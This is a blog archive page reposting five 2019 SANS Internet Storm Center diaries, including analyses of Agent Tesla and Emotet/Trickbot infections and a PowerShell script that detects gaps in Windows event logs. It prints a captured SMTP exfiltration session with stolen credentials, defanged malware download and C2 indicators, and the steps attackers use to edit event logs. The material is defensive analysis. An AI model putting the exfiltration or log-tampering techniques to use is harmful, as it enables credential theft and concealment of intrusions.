Blog

Archive for September, 2019

Wireshark 3.0.5 Release: Potential Windows Crash when Updating, (Sat, Sep 21st)

Wireshark 3.0.5 was just released.

There’s a warning for Windows users: you might need to perform a manual uninstall of Npcap to avoid a potential Windows crash.

From the release notes:

If you have Npcap 0.994 or 0.995 installed, your system might crash when upgrading. We recommend that you uninstall these versions manually prior to installing Wireshark. See Npcap bugs 1591 and 1675 for more details. You can uninstall either version manually by doing the following:

  1. Open a command or PowerShell prompt as Administrator and run sc.exe config npcap start=disabled.

  2. Run sc.exe config npf start=disabled. This will fail if WinPcap compatibility mode isn’t enabled, but is otherwise harmless.

  3. Reboot (optional).

  4. Open “Programs and Features” in the Control Panel or “Apps & features” in Settings and uninstall Npcap.

  5. Open “Device Manager” (devmgmt.msc) in the Control Panel and expand the “Network adapters” section. Uninstall each “Npcap Loopback Adapter” that you find.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Blacklisting or Whitelisting in the Right Way, (Thu, Sep 19th)

It’s Friday today, I’d like to talk about something else. Black (or white) lists are everywhere today. Many security tools implement a way to allow/deny accesses or actions on resources based on “lists” bsides the automated processing of data. The approach to implement them is quite different:

  Methodology Pro Con
White list Deny everything by default and allow exceptions Full control of all resources Harder to manage
Frequent updates
Can be frustrating for the user.
Black list Allow everything by default and deny exceptions Easy to manage
Less impact on users

Only “known” resources are blocked
Risks of missing blocked resources.
Never-ending process

A classic example is applications allowed to users on endpoints in a corporate environment (Microsoft AppLocker[1] works like this): You can allow all applications but block some or you can deny all applications but allow only approved ones.

When you have a security product that implements both types, how are they processed? In which order? Let’s take an example that I faced yesterday at a customer. The security product is a mail protection system which scans incoming SMTP traffic, extracts emails, attachments and tests them (in a sandbox if needed). Two types of lists are available and may contain the following indicators:

  • A sender email address
  • A sender domain
  • A sender IP address
  • An URL
  • A MD5 hash
  • A recipient email address

Lists are:

  • Allowed list
  • Blocking list

This looks very efficient: you can white list IP addresses of internal SMTP relays, domains from partners, or block domains used by spammers. But it can also have nasty effects. The question to think about is: In which order are the lists processed? They are multiple scenarios possible:

  • Process the blocking list first and, if a match is found, stop processing the other list
  • Process the allowed list first and, if a match is found, stop processing the other list
  • Process the blocking list and, if a match is found, check in the allowed list if there isn’t an exception
  • Process the allowed list and, if a match is found, check in the blocking list if there isn’t an exception

Let’s take the practical example that I faced yesterday as an example:

In the blocking list, there is a rule to prevent people to receive emails from the following domain: “efax.com”. This rule is in place for months. Suddenly, a user complained that he can’t receive emails from the domain “telefax.com.uy”. So, we added a rule in the allowed list to always allow emails sent from this domain. But it did not work… After some investigations, we found the issue!

The blocking list is processed in the first place and still rejected emails from telefax.com.uy (because the ‘efax.com’ rule matched). But why does it match a sub-string of the domain? By reading the documentation, we found that regular exceptions are allowed in rules.

To fix this issue, we changed the blocking rule to ‘^efax.com$’ to really match this domain and nothing else. With this configuration, the blocking list did not match any rule and the allowed list matched on ‘telefax.com.uy”. Happy user!

Conclusion: The implementation of white or black-list is not easy and must be carefully tested and… RTFM[2] to be sure to fully understand their priority!

[1] https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview
[2] https://en.wikipedia.org/wiki/RTFM

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Agent Tesla Trojan Abusing Corporate Email Accounts, (Thu, Sep 19th)

The trojan ‘Agent Tesla’ is not brand new, discovered in 2018, it is written in VisualBasic and has plenty of interesting features. Just have a look at the MITRE ATT&CK overview of its TTP[1].

I found a sample of Agent Tesla spread via a classic email campaign. The sample is delivered in an ACE archive called ‘Parcel Frieght Details.pdf.ace’ (SHA256:d990171e0227ea9458549037fdebe2f38668b1ccde0d02198eee00e6b20bf22a). You can spot the type error in the file name (‘frieght’ instead of ‘freight’). The archive has a VT score of  8/57[2]. Inside the archive, there is a PE file with the same typo error: ‘Parcel Frieght Details.pdf.exe’ (SHA256:5881f0f7dac664c84a5ce6ffbe0ea84427de6eb936e6d8cb7e251d9a430cd42a). The PE file is unknown on VT when writing this diary.

Agent Tesla uses multiple exfiltration techniques: SMTP, FTP & HTTP. In this case, the sample used SMTP to exfiltrate the victim’s data. He connected to an SMTP server via port 587. Why TCP/587 and not the regular TCP/25?  Because, while connecting via this port, the remote SMTP server will require authentication. If port 25 is often firewalled, port 587 remains open for egress traffic on many networks.

Here is a dump of the SMTP traffic:

EHLO PlayBox1

250-res180.servconfig.com Hello PlayBox1 [x.x.x.x]
250-SIZE 52428800
250-8BITMIME..250-PIPELINING
250-AUTH PLAIN LOGIN
250-CHUNKING
250-STARTTLS
250 HELP

AUTH login bXNoYWhpZEBtZWRpdXJnZS5jb20=

334 UGFzc3dvcmQ6



235 Authentication succeeded

MAIL FROM:

250 OK

RCPT TO:

250 Accepted

DATA

354 Enter message, ending with "." on a line by itself

MIME-Version: 1.0
From: [email protected]
To: [email protected]
Date: 18 Sep 2019 08:44:10 +0100
Subject: admin/PlayBox1 Recovered Accounts

Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: quoted-printable

Time: 09/18/2019 07:44:01
UserName: administrator
ComputerName: PLAYBOX1
OSFullName: Microsoft Windows 7 Professional
CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
RAM: 3583.61 MB
IP: x.x.x.x
URL: https://www.facebook.com/
Username: [email protected]
Password: SuperSafePW
Application: Chrome

URL: https://www.facebook.com
Username: [email protected]
Password: SuperSafePW
Application: Outlook . 250 OK id=1iAUdG-002MAp-KD

mediurge.com is a company based in Pakistan which delivers healthcare products but their website is running on a server hosted in Los Angeles, US. The server has many open ports and vulnerabilities as reported by Shodan[3].

You can see that this server exposes a lot of services and suffers from multiple vulnerabilities. Probably, the attackers compromized the server and retrieved the password of the mailbox ‘[email protected]’ or they obtained the password via another way. The email address is a valid one and matches an employee of this company[4]:

For the attackers, it’s easy to collect exfiltrated data by fetching the mailbox via POP3 or IMAP4 (both are available according to Shodan). 

Tip: Keep an eye on your mail server activity to detect unusual behaviour (peak of traffic, connections from unusual locations, …)

[1] https://attack.mitre.org/software/S0331/
[2] https://www.virustotal.com/gui/file/d990171e0227ea9458549037fdebe2f38668b1ccde0d02198eee00e6b20bf22a/detection
[3] https://www.shodan.io/host/205.134.252.187
[4] https://www.linkedin.com/in/muhammad-shahid-ghafoor-87622240/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Emotet malspam is back, (Wed, Sep 18th)

Introduction

As already reported, malicious spam (malspam) pushing Emotet is back approximately 3 and 1/2 months after it disappeared.  Today’s diary reviews infection traffic from Tuesday, 2019-09-17.

Emotet’s disappearance

After May 2019, I stopped finding any new examples of malspam pushing Emotet.  As early as 2019-06-09, someone reported the command and control (C2) infrastructure for Emotet had gone silent.  The C2 infrastructure was active again as early as 2019-08-22, which led to several reports that Emotet was back.  However, no malspam was reported until Monday 2019-09-16.  Since then, Emotet activity levels are back to what we saw before the 3 and 1/2 month break.

A new Emotet malspam example

Recent examples of Emotet malspam I found all use German language message text.  Like before, this malspam uses attached Word documents, or it uses links to download Word documents.  These Word documents have malicious macros designed to infect a vulnerable Windows host with Emotet.


Shown above:  Screenshot of Emotet malspam from Tuesday 2019-09-17.


Shown above:  The attached Word document with macros for Emotet.

Infection traffic

Traffic for this Emotet infection was typical for what we saw before the 3 and 1/2 month break.  Emotet acts as a distributor for other malware, and in this case I saw Trickbot traffic after the initial Emotet infection.


Shown above:  Traffic from the infection filtered in Wireshark.

Forensics on the infected Windows host

The Emotet traffic is similar to what I’ve posted before the break, and the Trickbot traffic fits recent patterns seen in Trickbot post-infection traffic.


Shown above:  Emotet from the infected Windows host.


Shown above:  Trickbot on the infected Windows host.


Shown above:  Trickbot modules on the infected Windows host.


Shown above:  Persistence mechanisms for Emotet and Trickbot on the infected host.

Indicators of Compromise (IoCs)

URLs caused by the Word macro to retrieve an Emotet EXE:

  • 148.72.121[.]17 port 80 – fitchciapara[.]com – GET /wp-admin/rau3e7/
  • 139.162.22[.]163 port 443 (HTTPS) – www.internetshoppy[.]com – GET /wp-includes/971426/
  • 104.28.29[.]56 port 443 (HTTPS) – blog.medkad[.]com – GET /wp-admin/e9684/
  • 107.180.0[.]193 port 80 – www.sirijayareddypsychologist[.]com – GET /roawk/0kwsol940/
  • 205.144.171[.]168 port 80 – komatireddy[.]net – GET /wp-content/911968/

Post-infection traffic caused by Emotet:

  • 187.155.233[.]46 port 443 – 187.155.233[.]46:443 – POST /jit/cookies/sess/ 
  • 190.200.64[.]180 port 7080 – 190.200.64[.]180:7080 – POST /enabled/report/sess/ 
  • 198.199.106[.]229 port 8080 – 198.199.106[.]229:8080 – POST /splash/stubs/sess/ 
  • 198.199.106[.]229 port 8080 – 198.199.106[.]229:8080 – POST /cab/nsip/sess/ 
  • 198.199.106[.]229 port 8080 – 198.199.106[.]229:8080 – POST /scripts/    
  • 198.199.106[.]229 port 8080 – 198.199.106[.]229:8080 – POST /psec/arizona/ringin/ 
  • 79.127.57[.]42 port 80 – attempted TCP connections, but no response from the server
  • 181.81.143[.]108 port 80 – attempted TCP connections, but no response from the server
  • 66.228.32[.]31 port 443 – attempted TCP connections, but no response from the server
  • 198.50.170[.]27 port 8080 – attempted TCP connections, but no response from the server
  • 216.98.148[.]157 port 8080 – attempted TCP connections, but no response from the server

Post-infection traffic caused by Trickbot:

  • 186.47.40[.]234 port 449 – HTTPS/SSL/TLS traffic
  • port 80 – api.ipify[.]org – GET /                                                 
  • 185.222.202[.]62 port 447 – HTTPS/SSL/TLS traffic
  • 178.170.189[.]52 port 447 – HTTPS/SSL/TLS traffic
  • 195.123.221[.]178 port 447 – HTTPS/SSL/TLS traffic
  • 170.238.117[.]187 port 8082 – 170.238.117[.]187:8082 – POST /mor2/[hostname]_[Windows version].[hex string]/90
  • 170.238.117[.]187 port 8082 – 170.238.117[.]187:8082 – POST /mor2/[hostname]_[Windows version].[hex string]/81
  • 104.168.98[.]206 port 80 – 104.168.98[.]206 – GET /samerton.png                                     
  • 104.168.98[.]206 port 80 – 104.168.98[.]206 – GET /tablone.png                                      
  • 195.123.238[.]83 port 447 – attempted TCP connections, but no response from the server
  • 108.170.40[.]34 port 447 – attempted TCP connections, but no response from the server
  • 194.5.250[.]79 port 447 – attempted TCP connections, but no response from the server
  • 66.55.71[.]15 port 447 – attempted TCP connections, but no response from the server
  • 195.123.238[.]110 port 447 – attempted TCP connections, but no response from the server

Files from the infected Windows host:

SHA256 hash: 34d2b83245696fa1dd24ef9ed4b33ef9172e9f6e274928628bd24c1de0763b47

  • File size: 143,970 bytes
  • File name: Info-092019-VC_6282.doc
  • File description: Attachment from malspam–Word doc with macro for Emotet

SHA256 hash: de51c2bdcadf6ed9d159cdeb222af834144732da27e6f70e3d03019c57e221be

  • File size: 76,288 bytes
  • File location: hxxps://blog.medkad[.]com/wp-admin/e9684/
  • File location: C:Users[username]979.exe
  • File location: C:Users[username]AppDataLocal[random name][same random name].exe
  • File description: Initial Emotet EXE retrieved by Word macro

SHA256 hash: b47d3146bf26d007cfbbb3a8527ae60885f265ed24e2a33ab3caad66f20e7683

  • File size: 201,728 bytes
  • File location: C:Users[username]AppDataLocal[random name][same random name].exe
  • File description: Updated Emotet EXE after initial infection

SHA256 hash: 571e071e1cf7151cabda294c7a41c72b541b7e17231a18ce815eed8e1b4dbaab

  • File size: 782,336 bytes
  • File location: C:M9Y7o6OLANbw.exe
  • File location: C:ProgramData[Georgian characters].exe
  • File location: C:Users[username]AppDataRoamingMyCloud[Georgian characters].exe
  • File description: Trickbot (gtag: mor2) retrieved by Emotet-infected Windows host

Final Words

Pcap and malware from this infection can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Investigating Gaps in your Windows Event Logs, (Tue, Sep 17th)

I recently TA’d the SANS SEC 504 class (Hacker Tools, Techniques, Exploits, and Incident Handling) , and one of the topics we covered was “editing” windows event logs, especially the Windows Security Event Log.

The method to do this is:

  • Set the Windows Event Log service state to “disabled”
  • Stop the service
  • Copy the evtx log file to a temporary location
  • Edit the copy
  • Copy that edited log file back to the original location
  • Set the service back to autostart

This method was brought to popular use by the “shadow brokers” leak back in 2017, and has been refined nicely for us pentesters since then.

Often an an attacker or malware will create a new user with admin rights, create a service, or perform other tasks that give them elevated rights or persistence, and these things generally show up in the Security Event Log.  Editing the security event log covers their tracks nicely, so is part of the attacker’s toolkit these days.

Since event log entries are numbered and sequential, any deletions show up pretty nicely as “holes” in that sequence.  Of course, seeing that “Event RecordID” number for a single event involves 3 mouse clicks (see below), so finding such a hole in your event log manually is pretty much impossible.

So it’s a neat attack, combined with a complex detection method, which of course got me to thinking about using PowerShell for detection and automating it to within an inch of it’s life….

To automate this task, I wrote a quick-and-dirty PowerShell script to collect the security event log, then rip through the events looking for Event Record IDs that are not sequential.  As always, feel free to edit this to work better for your environment.  The majority of the execution time for this is reading the actual log, so I didn’t try to optimize the sequence checking at all (that part takes seconds, even for a hefty sized log).  

There are two caveats:

  • Be sure that you have sufficient rights to read the log that you’re targetting with this method – there’s no sequence errors if you can’t read any events 🙂
  • Reading an entire event log file into a list can be a lengthy and CPU intensive process.  You should budget that associated load into deciding when to run scripts like this.

Also as usual, I’ll park this in my github at https://github.com/robvandenbrink.   Look for updates there over the next few days – I’ll try to get a check into this code for log “wrapping”

# declare the object to hold “boundary” events on either side of a gap in the logs

$BoundaryEvents = @()

$SecEvents = Get-WinEvent “Security”

$RecID0 = $SecEvents[0].RecordID

foreach ($event in $SecEvents) {

  # check – is this the first event?

  if ($RecID0 -ne $event.RecordID) {

       if ($RecID0 – $event.recordid -eq 1) {

               $RecID0 = $event.recordid

               }

       else {

             # save the event record id’s that bound the hole in the event log

             # also save them to the “:list of holes”

             $BEvents = New-Object -TypeName psobject

             $BEvents | add-member -NotePropertyName before -NotePropertyValue $RecID0

             $BEvents | add-member -NotePropertyName after -NotePropertyValue $event.recordid

 

             $BEvents | ft

             $BoundaryEvents += $BEvents

             $RecID0 = $event.recordid

       }

   }

}

 

# this kicks the output to STDOUT

# edit this code to handle the output however it best suits your needs

 

if ($BoundaryEvents.Count -eq 0) {

    Write-Host “No gaps in log”

    } else {

    Write-Host “Log Gap Summary:`r”

    $BoundaryEvents | ft

    }

This can certainly be run against a remote computer, by changing one line:
$SecEvents = Get-WinEvent “Security” -ComputerName $RemoteHostNameorIP

However, if you want to run this against a list of computers or all computers in a domain, consider the time involved – just on my laptop reading the Security Event log into a variable takes a solid 3 minutes.  While a busy domain controller or member server will have more CPU, it’ll also have much larger logs.  In many domains checking all the hosts in sequence simply doesn’t make sense, if you plan to run this daily, do the math first – it could easily take more than  24hrs to run domain-wide.  It’s smarter to run this on all the target hosts at a scheduled time, and write all of the output to a central location – that gets the job done quickly and neatly, usually in a short after-hours window.

So for instance, change the summary “write-host” section in the script above to include:

$fname = “sharenamelog-gaps”+ $env:COMPUTERNAME+”-log-gaps.csv”
$BoundaryEvents | export-csv -path $fname

You’ll also likely want to:

  • keep the script in a central location as well, so that if you update it there’s no need to do any version checking. 
  • set the permissions on that collection directory appropriately – you don’t want to give your attacker read or delete rights to this directory!  It needs to be globally writable, but only admins need to be able to view or read from it.
  • note that using this approach, the sharenamelog-gaps directory should always be empty.  If you ever see a file, you have some investigating to do!
  • be sure that local log files actually have a “lifetime” greater than 24 hours – if they over-write or wrap in less than a day, you’ll want to fix that
  • finally, automate the collection of any files that show up here.  You don’t want tomorrow night’s script to either fail or over-write the results from yesterday

Using this approach, each affected host will create their own summary file.  If you wanted to combine them:

  • update the original script to include a $hostname field
  • after the collection, “cat” all the files together into one consolidated file, then run that through “sort | uniq”
  • Or, if you want to get fancy, you could send log “gaps” directly to your SIEM as they occur (the $BEvents variable)

If you ever have a file in the data collection directory, either you have a wrapped logfile, or you have an incident to deal with – as discussed you can easily integrate this into your SIEM / IR process.  

Also, if you are using this method to automate parsing the Security Event log, keep in mind that there are other logs that might be of interest as well.

In using methods like this, have you found an unexplained “gaps” in your logs that turned into incidents (or just remained unexplained)?  Please, share any war stories that aren’t protected by NDA using our comment form!

===============
Rob VandenBrink
rob coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 4 1234